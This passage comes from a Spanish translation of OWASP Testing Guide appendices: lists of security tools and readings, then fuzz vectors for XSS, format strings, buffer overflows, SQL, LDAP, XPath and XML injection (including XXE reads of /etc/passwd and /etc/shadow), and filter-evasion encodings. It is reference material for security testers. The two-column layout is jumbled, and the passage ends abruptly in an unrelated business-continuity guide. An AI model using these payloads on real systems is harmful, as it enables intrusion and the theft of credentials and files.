• Bsqlbf-v2: Un script Perl que permite la extracción de datos de de saturación del búfer”

335
• N-Stalker Web Application Security Scanner: nstalker.com
Spike: immunitysec.com • HP WebInspect: hpenterprisesecurity.com
• Un framework de distorción que puede usarse para explorar vulnerabilidades y • SoapUI (Web Service security testing): soapui.org
realizar pruebas de larga duración de Fuerza Bruta Binaria (Brute Force Binary
Tester (BFB)) : • Netsparker: mavitunasecurity.com
bfbtester.sourceforge.net • SAINT: saintcorporation.com
• QualysGuard WAS: qualys.com
• Un verificador binario proactivo • Retina Web: beyondtrust.com
Metasploit: metasploit.com
Evaluadores de Código Fuente
• Un framework rápido de desarrollo y pruebas Open Source / Freeware
• Owasp Orizon: owasp.org
Distorsionador (Fuzzer) • OWASP LAPSE: owasp.org
• OWASP WSFuzzer: owasp.org • OWASP O2 Platform: owasp.org
• Wfuzz: darknet.org.uk • Google CodeSearchDiggity: bishopfox.com
• PMD: pmd.sourceforge.net
Googleando • FlawFinder: dwheeler.com
• Stach & Liu’s Google Hacking Diggity Project: bishopfox.com • Microsoft’s FxCop: msdn.microsoft.com
• Foundstone Sitedigger (Google cached fault-finding): mcafee.com • Splint: splint.org
• Boon: cs.berkeley.edu
Herramientas comerciales de pruebas de caja negra • FindBugs: findbugs.sourceforge.net
• NGS Typhon III: nccgroup.com • Find Security Bugs: h3xstream.github.io
• NGSSQuirreL: nccgroup.com • W3af: w3af.sourceforge.net
• IBM AppScan: 01.ibm.com • phpcs-security-audit: github.com
• Cenzic Hailstorm: cenzic.com
• Burp Intruder: portswigger.net Comercial
• Acunetix Web Vulnerability Scanner: acunetix.com • Armorize CodeSecure: armorize.com
• Sleuth: sandsprite.com • Parasoft C/C++ test: parasoft.com
• NT Objectives NTOSpider: ntobjectives.com • Checkmarx CxSuite: checkmarx.com
• MaxPatrol Security Scanner: ptsecurity.com • HP Fortify: hpenterprisesecurity.com
• Parasoft SOAtest (more QA-type tool): parasoft.com • GrammaTech: grammatech.com
• MatriXay: dbappsecurity.com • ITS4: seclab.cs.ucdavis.edu

336
• Appscan: 01.ibm.com • Una herramienta de prueba basada en XML que proporciona una
fachada en la parte superior de htmlunit.
• ParaSoft: parasoft.com
• Virtual Forge CodeProfiler for ABAP: virtualforge.de

• No es necesaria la codificación ya que las pruebas están completamente
• Veracode: veracode.com especificadas en XML.
• Armorize CodeSecure: armorize.com
• Existe la opción de secuencias de algunos elementos en el Groovy si XML

no es suficiente.
Herramientas de prueba de aceptación
Las herramientas de pruebas de aceptación se utilizan para validar la

funcionalidad de las aplicaciones web. Algunas siguen un enfoque con • Mantenido muy activamente
guión y, por lo general, hacen uso de un marco de pruebas unitarias para
construir series de pruebas y casos de prueba. La mayoría, si no todas, se
pueden adaptar para llevar a cabo pruebas específicas de seguridad,
además de las pruebas funcionales. • HttpUnit: httpunit.sourceforge.net
Herramientas de código fuente • Uno de los primeros marcos de prueba web; adolece de usar el nativo
JDK proporcionando transporte HTTP que puede ser un poco limitante
• Un marco de pruebas basado en la web Ruby que proporciona una para las pruebas de seguridad.
interfaz en Internet Explorer.
• Watij: watij.com
• Windows solamente.
• Una implementación Java de WATIR.

• HtmlUnit: htmlunit.sourceforge.net
• El proyecto ahora es compatible con IE, Mozilla, y Safari, Windows,

• Un marco basado en Java y JUnit que utiliza Apache HttpClient como Linux, y Mac
transporte.
• Solex: solex.sourceforge.net
• Muy robusto y configurable y se utiliza como motor para un número de
otras herramientas de prueba.
• Un plugin de Eclipse que proporciona una herramienta gráfica para

grabar sesiones de HTTP y hace afirmaciones basadas en los resultados.
• jWebUnit: jwebunit.sourceforge.net
• Selenium: seleniumhq.org
• Un meta-marco basado en Java que utiliza htmlunit o selenium como
motor de prueba.
• El marco de pruebas basadas en JavaScript, multiplataforma y ofrece

una Interfaz gráfica de usuario para la creación de pruebas.
• Canoo WebTest: webtest.canoo.com
• Herramienta, madura y popular, pero el uso de JavaScript podría

dificultar ciertas pruebas de seguridad.

337
• The Open Web Application Security Project (OWASP) Guide Project:
Otras herramientas owasp.org
Análisis de tiempo de ejecución
• Rational PurifyPlus: 01.ibm.com • Security Considerations in the System Development Life Cycle
• Seeker by Quotium: quotium.com (NIST): nist.gov
Analisis Binario • The Security of Applications: Not All Are Created Equal:
• BugScam IDC Package: sourceforge.net securitymanagement.com
• Veracode: veracode.com
• Software Assurance: An Overview of Current Practices:
Gestión de Requisitos safecode.org
• Rational Requisite Pro: ibm.com
• Software Security Testing: Software Assurance Pocket guide Series:
Mirroring del Sitio Development, Volume III: buildsecurityin.us-cert.gov
• wget: gnu.org
• curl: curl.haxx.se • Use Cases: Just the FAQs and Answers: ibm.com
• Sam Spade: samspade.org
• Xenu’s Link Sleuth: home.snafu.de Libros Blancos
• The Art of Software Security Testing: Identifying Software Security
Guía de pruebas OWASP Apéndice B: Flaws, by Chris Wysopal, Lucas Nelson, Dino Dai Zovi, Elfriede Dustin,
published by Addison: Wesley, ISBN 0321304861 (2006)
Lecturas sugeridas
• Building Secure Software: How to Avoid Security Problems the

Libros Blancos
Right Way, by Gary McGraw and John Viega, published by Addison-Wesley
• The Economic Impacts of Inadequate Infrastructure for Software Pub Co, ISBN 020172152X (2002) -
Testing: nist.gov buildingsecuresoftware.com
• Improving Web Application Security: Threats and Countermeasures: • The Ethical Hack: A Framework for Business Value Penetration
msdn.microsoft.com Testing, By James S. Tiller, Auerbach Publications, ISBN 084931609X (2005)
• NIST Publications: csrc.nist.gov • + Versión online disponible en: books.google.com

338
• Exploiting Software: How to Break Code, by Gary McGraw and Greg
Hoglund, published by Addison-Wesley Pub Co, ISBN 0201786958 (2004): • Secure Coding: Principles and Practices, by Mark Graff and Kenneth
exploitingsoftware.com
R. Van Wyk, published by O’Reilly, ISBN 0596002424 (2003):
securecoding.org
• The Hacker’s Handbook: The Strategy behind Breaking into and
Defending Networks, By Susan Young, Dave Aitel, Auerbach Publications,

ISBN: 0849308887 (2005) • Secure Programming for Linux and Unix HOWTO, David Wheeler
(2004): dwheeler.com
• + Versión online disponible en: books.google.com
• + Versión online: dwheeler.com
• Hacking Exposed: Web Applications 3, by Joel Scambray, Vinvent Liu, Caleb

Sima, published by McGraw-Hill Osborne Media, ISBN 007222438X (2010):
webhackingexposed.com • Securing Java, by Gary McGraw, Edward W. Felten, published by
Wiley, ISBN 047131952X (1999): securingjava.com
• The Web Application Hacker’s Handbook: Finding and Exploiting
Security Flaws, 2nd Edition - published by Dafydd Stuttard, Marcus Pinto, ISBN • Software Security: Building Security In, by Gary McGraw, published
9781118026472 (2011)
by Addison-Wesley Professional, ISBN 0321356705 (2006)
• How to Break Software Security, by James Whittaker, Herbert H.

• Software Testing In The Real World (Acm Press Books) by Edward
Thompson, published by Addison Wesley, ISBN 0321194330 (2003)
Kit, published by Addison-Wesley Professional, ISBN 0201877562 (1995)
• How to Break Software: Functional and Security Testing of Web

• Software Testing Techniques, 2nd Edition, By Boris Beizer,
Applications and Web Services, by Make Andrews, James A. Whittaker,
published by Pearson Education Inc., ISBN 0321369440 (2006) International Thomson Computer Press, ISBN 9781593273880
The Tangled Web: A Guide to Securing Modern Web Applications, by Michael

Zalewski, published by No Starch Press Inc., ISBN 047131952X (2011)
• Innocent Code: A Security Wake-Up Call for Web Programmers,
The Unified Modeling Language – A User Guide – by Grady Booch, James
by Sverre Huseby, published by John Wiley & Sons, ISBN 0470857447(2004): Rumbaugh, Ivar Jacobson, published by Addison-Wesley Professional, ISBN
innocentcode.thathost.com 0321267974 (2005)
• + Online version available at: books.google.com • The Unified Modeling Language User Guide, by Grady Booch, James
Rumbaugh, Ivar Jacobson, Ivar published by Addison-Wesley Professional, ISBN
0-201-57168-4 (1998)
• Mastering the Requirements Process, by Suzanne Robertson and Web Security Testing Cookbook: Systematic Techniques to Find Problems Fast,
by Paco Hope, Ben Walther, published by O’Reilly, ISBN 0596514832 (2008)
James Robertson, published by Addison-Wesley Professional, ISBN 0201360462
• Writing Secure Code, by Mike Howard and David LeBlanc, published by

• + Online version available at: books.google.com Microsoft Press, ISBN 0735617228 (2004): microsoft.com

339
• OWASP Appsec Tutorial Series: owasp.org
Páginas Web útiles • SecurityTube: securitytube.net
• Build Security In: buildsecurityin.us-cert.gov • Videos by Imperva: imperva.com
• Build Security In - Security-Specific Bibliography:
buildsecurityin.us-cert.gov Aplicaciones Web deliberadamente inseguras
• CERT Secure Coding: cert.org • OWASP Vulnerable Web Applications Directory Project: owasp.org
• CERT Secure Coding Standards: securecoding.cert.org • BadStore: badstore.net
• Exploit and Vulnerability Databases: buildsecurityin.us-cert.gov • Damn Vulnerable Web App: blog.dewhurstsecurity.com
• Google Code University - Web Security: developers.google.com
• McAfee Foundstone Publications: mcafee.com Hacme Series from McAfee:
• McAfee – Resources Library: mcafee.com • + Hacme Travel: mcafee.com
• McAfee Free Tools: mcafee.com • + Hacme Bank: mcafee.com
• OASIS Web Application Security (WAS) TC: oasis-open.org • + Hacme Shipping: mcafee.com
• Open Source Software Testing Tools: opensourcetesting.org • + Hacme Casino: mcafee.com
• OWASP Security Blitz: owasp.org • + Hacme Books: mcafee.com
• OWASP Phoenix/Tool: owasp.org
• SANS Internet Storm Center (ISC): isc.sans.edu • Moth: bonsai-sec.com
• The Open Web Application Application Security Project (OWASP: • Mutillidae: irongeek.com
owasp.org • Stanford SecuriBench: suif.stanford.edu
• Pentestmonkey - Pen Testing Cheat Sheets: pentestmonkey.net • Vicnum: vicnum.sourceforge.net and owasp.org
• Secure Coding Guidelines for the .NET Framework 4.5: • WebGoat: owasp.org
msdn.microsoft.com • WebMaven (better known as Buggy Bank): mavensecurity.com
• Security in the Java platform: docs.oracle.com
• System Administration, Networking, and Security Institute (SANS): Guía de pruebas de OWASP Apéndice C: Vectores Fuzz
sans.org Los siguientes son vectores fuzzing que se pueden utilizar con
WebScarab, JBroFuzz, WSFuzzer, ZAP u otro fuzzer. Fuzzing es el enfoque
• Technical INFO - Making Sense of Security: technicalinfo.net del "fregadero de la cocina" en inglés: "kitchen sink" para probar la
respuesta de una aplicación al parámetro manipulación. En general, se
• Web Application Security Consortium: webappsec.org buscan condiciones de error que se generan en una aplicación como
resultado de fuzzing. Esta es la parte sencilla de la fase de
• Web Application Security Scanner List : projects.webappsec.org descubrimiento. Una vez que el error ha sido descubierto, se requiere
habilidad para identificar y explotar una vulnerabilidad potencial.
• Web Security - Articles: acunetix.com
Categorías fuzz
Videos

340
En el caso de protocolo de red sin estado fuzzing (como HTTP (S)),
existen dos grandes categorías:
El resto de este apéndice presenta una serie de categorías de vectores
fuzz.
• Recursive fuzzing (ocultamiento recursivo)
• Replacive fuzzing (Ocultamiento por reemplazo) Cross Site Scripting (XSS)
Para detalles en XSS: Cross-site Scripting (XSS)
Examinamos y definimos cada categoría en las subsecciones que siguen. >”><script>alert(“XSS”)</script>&
“><STYLE>@import”javascript:alert(‘XSS’)”;</STYLE>
Ocultamiento recursivo >”’><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26

%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26
El ocultamiento recursivo se puede definir como el proceso de difuminar %23x3a;
una parte de una solicitud por iteración, a través de todas las posibles
combinaciones de un sistema alfabético. Consideremos el caso de:
http://www.example.com/8302fa3b alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26qu
ot;)>
Al seleccionar "8302fa3b" como una parte de la solicitud para ser

difuminada contra el sistema alfabético hexadecimal (es decir, >%22%27><img%20src%3d%22javascript:alert(%27%20XSS%27)%22>
{0,1,2,3,4,5,6,7,8,9, a, b, c, d, e , f}), cae bajo la categoría de ocultamiento
recursivo. Esto generaría un total de 16 ^ 8 solicitudes de la forma: ‘%uff1cscript%uff1ealert(‘XSS’)%uff1c/script%uff1e’
http://www.example.com/00000000 “>
... >”
http://www.example.com/11000fff ‘’;!--”<XSS>=&{()}
... <IMG SRC=”javascript:alert(‘XSS’);”>
<IMG SRC=javascript:alert(‘XSS’)>
Ocultamiento por reemplazo <IMG SRC=JaVaScRiPt:alert(‘XSS’)>
El ocultamiento por reemplazo se puede definir como el proceso de <IMG SRC=JaVaScRiPt:alert("XSS<WBR>")>

difuminar parte de una solicitud al reemplazarla por un valor
establecido. Este valor se conoce como vector fuzz. En el caso de: <IMGSRC=java&<WBR>#115;cri&#
112;&<WBR>#116;:a
http://www.example.com/8302fa3b
le&<WBR>#114;t('X&#83<WBR>;S&
#39;&#41>
La realización de pruebas de Cross Site Scripting (XSS) mediante el envío
de los siguientes vectores fuzz: <IMGSRC=&#0000106&#0000097&<WBR>#0000118&#0000097&#0000115
&<WBR>#0000099&#0000114&#0000105&<WBR>#0000112&#0000116&#0
http://www.example.com/>”><script>alert(“XSS”)</script>&
000058
http://www.example.com/’’;!--”<XSS>=&{()}
&<WBR>#0000097&#0000108&#0000101&<WBR>#0000114&#0000116&#0
000040&<WBR>#0000039&#0000088&#0000083&<WBR>#0000083&#00000
39&#0000041>
Esta es una forma de ocultamiento por reemplazo. En esta categoría, el
número total de solicitudes depende del número de vectores fuzz
especificados.

341
<IMGSRC=&#x6A&#x61&#x76&#x61&#x73&<WBR>#x63&#x72&#x69&#x envuelven el suministro de lenguaje de formato específico de fichas, para ejecutar
70&#x74&#x3A&<WBR>#x61&#x6C&#x65&#x72&#x74&#x28 códigos arbitrarios o inhabilitar un programa. Fuzzing para este tipo de errores tiene
como objetivo comprobar la entrada del usuario sin filtrar.
&<WBR>#x27&#x58&#x53&#x53&#x27&#x29>
Una excelente introducción a través de FSE se puede encontrar en el documento

<IMG SRC=”jav ascript:alert(<WBR>’XSS’);”> titulado USENIX: Detección de formato de cadena de vulnerabilidades con Tipo
Calificadores.
<IMG SRC=”jav
ascript:alert(<WBR>’XSS’);”>
<IMG SRC=”jav ascript:alert(<WBR>’XSS’);”>
Tenga en cuenta que el intento de cargar un archivo de definición de este tipo
dentro de una aplicación fuzzer puede potencialmente causar que la aplicación se
bloquee
Desbordamiento de búfer y de error de formato de cadena
%s%p%x%d
Buffer Overflows (BFO) (desbordamiento de búfer)
.1024d
Un desbordamiento de memoria o un ataque de corrupción de memoria
es una condición de programación que permite el desbordamiento de %.2049d
datos válidos, más allá de su límite de almacenamiento preubicado en la
memoria. %p%p%p%p
%x%x%x%x
Para más detalles sobre los desbordamientos de memoria: Pruebas de %d%d%d%d

desbordamiento del búfer
%s%s%s%s
%99999999999s
Tenga en cuenta que el intento de cargar un archivo de definición de este
tipo dentro de una aplicación fuzzer puede potencialmente causar que la %08x
aplicación se bloquee.
%%20d
A x5
%%20n
A x 17
%%20x
A x 33
%%20s
A x 65
%s%s%s%s%s%s%s%s%s%s
A x 129
%p%p%p%p%p%p%p%p%p%p
A x 257
%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%
A x 513 a%C%S%08x%%
A x 1024 %s x 129
A x 2049
A x 4097 Desbordamientos de números enteros (INT)
A x 8193 Los errores de desbordamiento de números enteros se producen cuando un

programa no tiene en cuenta el hecho de que una operación aritmética puede
A x 12288
resultar en una cantidad ya sea mayor que el valor máximo de un tipo de datos o
menor de su valor mínimo. Si un evaluador puede hacer que el programa realice tal
Errores de cadenas de formato (FSE)
asignación de la memoria, el programa puede ser potencialmente vulnerable a un
ataque de desbordamiento de búfer.
Los ataques por cadenas de formato son una clase de vulnerabilidades que

342
(||6)
-1 ‘ OR 1=1--
0 OR 1=1
0x100 ‘ OR ‘1’=’1
0x1000 ; OR ‘1’=’1’
0x3fffffff %22+or+isnull%281%2F0%29+%2F*
0x7ffffffe %27+OR+%277659%27%3D%277659
0x7fffffff %22+or+isnull%281%2F0%29+%2F*
0x80000000 %27+--+
0xfffffffe ‘ or 1=1--
0xffffffff “ or 1=1--
0x10000 ‘ or 1=1 /*
0x100000 or 1=1--
Inyección SQL ‘ or ‘a’=’a
Este ataque puede afectar a la capa de base de datos de una aplicación y “ or “a”=”a
normalmente está presente cuando la entrada del usuario no está filtrada
para declaraciones SQL. ‘) or (‘a’=’a
Admin’ OR ‘
Para más detalles sobre Pruebas de inyección de SQL: Pruebasde ‘%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--

inyección SQL
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
La inyección SQL se clasifica en las siguientes dos categorías,
dependiendo de la exposición de la información de base de datos (pasiva)
o de la alteración de la información de base de datos (activa):
‘ having 1=1--
‘ having 1=1--
• Inyección S L Pasiva (Passive SQL Injection)
‘ group by userid having 1=1--
• Inyección S L Activa ( Active S L Injection)
‘ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects
WHERE name = tablename’)--
Las declaraciones de inyección SQL activas pueden tener un efecto ‘ or 1 in (select @@version)--
perjudicial en la base de datos subyacente si se ejecutan con éxito.
‘ union all select @@version--
‘ OR ‘unusual’ = ‘unusual’
Inyección SQL Pasiva (SQP)
‘ OR ‘something’ = ‘some’+’thing’
‘||(elt(-3+5,bin(15),ord(10),hex(char(45))))
‘ OR ‘text’ = N’text’
||6
‘ OR ‘something’ like ‘some%’
‘||’6
‘ OR 2 > 1

343
‘ OR ‘text’ > ‘t’ exec sp_addsrvrolemember ‘name’ , ‘sysadmin’
‘ OR ‘whatever’ in (‘whatever’) INSERT INTO mysql.user (user, host, password) VALUES (‘name’, ‘localhost’,
PASSWORD(‘pass123’))
‘ OR 2 BETWEEN 1 and 3
GRANT CONNECT TO name; GRANT RESOURCE TO name;
‘ or username like char(37);
INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) +
‘ union select * from users where login = char(114,111,111,116); char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70)
‘ union select + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)
Password:*/=1--
UNI/**/ON SEL/**/ECT Inyección LDAP
‘; EXECUTE IMMEDIATE ‘SEL’ || ‘ECT US’ || ‘ER’ para detalles de la inyección LDAP: Prueba de inyección LDAP
‘; EXEC (‘SEL’ + ‘ECT US’ + ‘ER’) |
‘/**/OR/**/1/**/=/**/1 !
‘ or 1/* (
+or+isnull%281%2F0%29+%2F* )
%27+OR+%277659%27%3D%277659 %28
%22+or+isnull%281%2F0%29+%2F* %29
%27+--+&password= &
‘; begin declare @var varchar(8000) set @var=’:’ select %26

@var=@var+’+login+’/’+password+’ ‘ from users where login >
%21
@var select @var as var into temp end --
%7C
*|
‘ and 1 in (select var from temp)--
%2A%7C
‘ union select 1,load_file(‘/etc/passwd’),1,1,1;
*(|(mail=*))
1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
%2A%28%7C%28mail%3D%2A%29%29
‘ and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
Inyección SQL Activa (SQI)
*()|%26’
‘; exec master..xp_cmdshell ‘ping 10.10.1.2’--
admin*
CREATE USER name IDENTIFIED BY ‘pass123’
admin*)((|userPassword=*)
CREATE USER name IDENTIFIED BY pass123 TEMPORARY
TABLESPACE temp DEFAULT TABLESPACE users; *)(uid=*))(|(uid=*
‘ ; drop table temp --
exec sp_addlogin ‘name’ , ‘password’ Inyección XPATH

344
Para detalles de la Inyección XPATH: Prueba de inyección XPath otra lengua conocida) en bytes. Un ejemplo de un esquema de codificación
de caracteres utilizado es el Código Estándar Americano para
‘+or+’1’=’1 Intercambio de Información (ASCII) que utilizó inicialmente códigos de 7
bits. Ejemplos más recientes de los esquemas de codificación serían las
‘+or+’’=’ normas estándar Unicode UTF-8 y UTF-16 de la industria de
computación.
x’+or+1=1+or+’x’=’y
/
En el espacio de seguridad de la aplicación, y debido a la gran cantidad de
// esquemas de codificación disponibles, la codificación de caracteres tiene
un mal uso popular. Está siendo utilizada para la codificación de
//* secuencias de inyección maliciosas en una manera que las ofusca. Esto
puede conducir a la desviación del ingreso de filtros de validación, o a
*/* sacar ventaja de las formas particulares en que los navegadores muestran
el texto codificado.
@*
count(/child::node())
Codificación de entrada - Evasión de filtro
x’+or+name()=’username’+or+’x’=’y
Las aplicaciones web suelen emplear diferentes tipos de mecanismos de
filtro de entrada para limitar las entradas que pueden ser enviadas por el
usuario. Si estos filtros de entrada no se aplican lo suficientemente bien,
Inyección XML es posible deslizar uno o dos caracteres a través de estos filtros. Por
ejemplo, a / puede ser representado como 2F (hex) en ASCII, mientras
Los detalles de la Inyección XML están aquí: Prueba de inyección XML que el mismo carácter (/) se codifica como C0 AF en Unicode (secuencia 2
byte). Por lo tanto, es importante que el filtrado de control de entrada
<![CDATA[<script>var n=0;while(true){n++;}</script>]]>
tenga en cuenta el esquema de codificación utilizado. Si se encuentra que
el filtro está detectando sólo inyecciones codificadas UTF-8, se puede
<?xml version=”1.0” encoding=”ISO-8859-
emplear un esquema de codificación diferente para evitar este filtro.
1”?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(‘gotcha’);<![CDATA[<
]]>/SCRIPT<![CDATA[>]]></foo> Codificación de salida - Servidor y Navegador de Consenso
<?xml version=”1.0” encoding=”ISO-8859-1”?><foo><![CDATA[‘ or 1=1 or Los navegadores web deben estar conscientes del esquema de
‘’=’]]></foof> codificación utilizado para mostrar coherentemente una página web.
Idealmente, esta información debe ser proporcionada al navegador en el
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT encabezado HTTP ("Content-Type"), como se muestra a continuación:
foo ANY><!ENTITY xxe SYSTEM “file://c:/boot.ini”>]><foo>&xee;</foo>
Content-Type: text/html; charset=UTF-8
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT
foo ANY><!ENTITY xxe SYSTEM “file:///etc/passwd”>]><foo>&xee;</foo>
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT o a través de la etiqueta HTML META (“META HTTP-E UIV”), como se
foo ANY><!ENTITY xxe SYSTEM “file:///etc/shadow”>]><foo>&xee;</foo> muestra a continuación:
<?xml version=”1.0” encoding=”ISO-8859-1”?><!DOCTYPE foo [<!ELEMENT <META http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1”>

foo ANY><!ENTITY xxe SYSTEM “file:///dev/random”>]><foo>&xee;</foo>
Es a través de estas declaraciones de codificación de caracteres que el

Guía de pruebas de OWASP Apéndice D: navegador comprende qué conjunto de caracteres utilizar para convertir
los bytes a caracteres. Tenga en cuenta que el tipo de contenido
Inyección codificada mencionado en el encabezado HTTP tiene prioridad sobre la declaración
de etiqueta META.
Antecedentes
La codificación de caracteres es el proceso de mapeado de caracteres,

números y otros símbolos a un formato estándar. Típicamente, esto se CERT lo describe aquí de la siguiente forma:
hace para crear un mensaje listo para su transmisión entre el emisor y el
receptor. En términos simples, es la conversión de caracteres (que Muchas páginas web dejan la codificación de caracteres (parámetro
pertenecen a diferentes idiomas como el inglés, chino, griego o cualquier "charset" en HTTP) como no definida. En versiones anteriores de HTML y

345
HTTP, se suponía que la codificación de caracteres era por defecto a la
norma ISO-8859-1 si no se definía. De hecho, muchos navegadores tenían
un valor predeterminado diferente, por lo que no era posible confiar en el <IMG SRC=javascript:alert(&#34 ;XSS&#34 ;)> (Numeric reference)
valor por defecto si era ISO-8859-1. La versión 4 HTML legitima esto - si
no se especifica la codificación de caracteres, cualquier codificación de
caracteres puede ser utilizada.
Lo anterior utiliza entidades HTML para construir la cadena de inyección.
La codificación de entidades HTML se utiliza para mostrar los caracteres
que tienen un significado especial en HTML. Por ejemplo, '>' funciona
Si el servidor web no especifica qué codificación de caracteres está en como un paréntesis de cierre para una etiqueta HTML. Con el fin de
uso, no puede decir qué caracteres no especificados son especiales. Las mostrar en realidad este carácter en la página web de las entidades de
páginas web con caracteres no especificados codifican la mayor parte del caracteres HTML, éste debe ser insertado en la página del origen. Las
tiempo, porque la mayoría de los grupos de caracteres asignan los inyecciones mencionadas anteriormente son una forma de codificación.
mismos caracteres a los valores de bytes por debajo de 128. Pero, ¿cuál Hay muchas otras formas en las que una cadena se puede codificar
de los valores por encima de 128 son especiales? Algunos esquemas de (ofuscar) con el fin de eludir el filtro anterior.
codificación de caracteres de 16 bits tienen representaciones de varios
bytes adicionales para caracteres especiales como "<". Algunos
navegadores reconocen esta codificación alternativa y actúan en
consecuencia. Este es un comportamiento "correcto", pero hace que los Codificación Hex
ataques maliciosos mediante secuencias de comandos sean mucho más
difíciles de prevenir. El servidor simplemente no sabe qué secuencias de Hex, abreviatura de hexadecimal, es un sistema de numeración en base a
bytes representan los caracteres especiales 16, es decir, que tiene 16 valores diferentes de 0 a 9 y de A a F para
representar diversos caracteres. La codificación hexadecimal es otra
forma de ofuscación que a veces se utiliza para eludir los filtros de
validación de entrada. Por ejemplo, la versión hexagonal codificada de la
Por lo tanto, en caso de no recibir información del carácter codificado cadena <img src = javascript: alert ( 'XSS')> es
desde el servidor, el navegador puede intentar "adivinar" el esquema de
codificación o volver a un esquema predeterminado. En algunos casos, el
usuario establece explícitamente la codificación por defecto en el
navegador a un esquema diferente. Cualquier discrepancia o no <IMG
coincidencia en el esquema de codificación utilizado por la página web SRC=%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74
(servidor) y el navegador, puede hacer que el navegador interprete la %28%27%58%53%53%27%29>
página de una manera inesperada o no deseada.
Una variación de la cadena anterior es la siguiente. Puede ser utilizada en

Inyecciones codificadas caso de que '%' esté siendo filtrada:
Todos los escenarios dados a continuación forman solamente un <IMG

subconjunto de la ofuscación de las diversas maneras que se pueden dar SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3
para eludir los filtros de entrada. Además, el éxito de las inyecciones A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#
codificadas depende del navegador en uso. Por ejemplo, las inyecciones x29>
US-ASCII fueron previamente codificadas con éxito sólo en el navegador
IE, pero no en Firefox. Por lo tanto, puede observarse que las inyecciones
codificadas, en gran medida, dependen del navegador.
Hay otros esquemas de codificación tales como Base64 y Octal que
pueden ser utilizados para la ofuscación.
Codificación básica
Considere un filtro básico de validación de entrada que protege contra la Aunque cada esquema de codificación no puede trabajar cada vez, un
inyección de carácter de comilla simple. En este caso, la inyección que poco de ensayo y error, junto con manipulaciones inteligentes, sin duda
está a continuación evitaría fácilmente este filtro: revelarán la brecha en un filtro de validación de entrada que haya sido
débilmente construido.
<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
La función String.fromCharCode Javascript toma los valores Unicode dados y

devuelve la cadena correspondiente. Ésta es una de las formas más básicas de La codificación UTF-7
las inyecciones codificadas. Otro vector que puede ser utilizado para eludir
este filtro es: La codificación UTF-7 de <script> alert ( 'XSS'); </ script> es la
siguienteUTF-7 Encoding
<IMG SRC=javascript:alert(&quot ;XSS&quot ;)>
346
+ADw-SCRIPT+AD4-alert(‘XSS’);+ADw-/SCRIPT+AD4-
Para trabajar con la secuencia anterior de comandos, el navegador tiene

que interpretar la página web como codificada en UTF-7.
Codificación Multi-byte
La codificación de anchura variable es otro tipo de esquema de

codificación de caracteres, que utiliza códigos de duración variable para
codificar caracteres. La codificación de varios bytes es un tipo de anchura
variable de codificación que utiliza un número variable de bytes para
representar un carácter. La codificación multibyte se utiliza
principalmente para codificar los caracteres que pertenecen a un gran
conjunto de caracteres, por ejemplo, chino, japonés y coreano.
La codificación multibyte se ha utilizado en el pasado para eludir las

funciones de validación de entrada estándar y para llevar a cabo este tipo
de ataque y los ataques de inyección SQL.
Referencias
• http://en.wikipedia.org/wiki/Encode_(semiotics)
• http://ha.ckers.org/xss.html
• http://www.cert.org/tech_tips/malicious_code_mitigation.html
• http://www.w3schools.com/HTML/html_entities.asp
• http://www.iss.net/security_center/advice/Intrusions/
2000639/default.htm
• http://searchsecurity.techtarget.com/expert/Knowledgebase-
Answer/0,289625,sid14_gci1212217_tax299989,00.html
• http://www.joelonsoftware.com/articles/Unicode.html

347
Guía práctica para PYMES:
cómo implantar
un Plan de Continuidad de Negocio
OBSERVATORIO DE LA SEGURIDAD DE LA INFORMACIÓN

Edición: Octubre 2010
El Instituto Nacional de Tecnologías de la Comunicación (INTECO), sociedad estatal adscrita al

Ministerio de Industria, Turismo y Comercio a través de la Secretaría de Estado de Telecomunicaciones
y para la Sociedad de la Información, es una plataforma para el desarrollo de la Sociedad del
Conocimiento a través de proyectos del ámbito de la innovación y la tecnología.
La misión de INTECO es aportar valor e innovación a los ciudadanos, a las pymes, a las Administraciones
Públicas y al sector de las tecnologías de la información, a través del desarrollo de proyectos que
contribuyan a reforzar la confianza en los servicios de la Sociedad de la Información en nuestro
país, promoviendo además una línea de participación internacional. Para ello, INTECO desarrollará
actuaciones, al menos, en líneas estratégicas de Seguridad Tecnológica, Accesibilidad, Calidad TIC y
Formación.
El Observatorio de la Seguridad de la Información (http://observatorio.inteco.es) se inserta dentro de la

línea estratégica de actuación de INTECO en materia de Seguridad Tecnológica, siendo un referente
nacional e internacional al servicio de los ciudadanos, empresas, y administraciones españolas para
describir, analizar, asesorar y difundir la cultura de la seguridad y la confianza de la Sociedad de la
Información.
Datos de contacto:
Instituto Nacional de Tecnologías de la Comunicación (INTECO)
Observatorio de la Seguridad de la Información
Avda. José Aguado, 41. Edificio INTECO. 24005 León
Teléfono: +(34) 987 877 189 / Email: observatorio@inteco.es
www.inteco.es
Deloitte presta servicios de auditoría, asesoramiento fiscal y legal, consultoría y asesoramiento en

transacciones corporativas a entidades que operan en un elevado número de sectores de actividad. La
firma aporta su experiencia y alto nivel profesional ayudando a sus clientes a alcanzar sus objetivos
empresariales en cualquier lugar del mundo. Para ello cuenta con el apoyo de una red global de firmas
miembro presentes en más de 140 países y con más de 168.000 profesionales que han asumido el
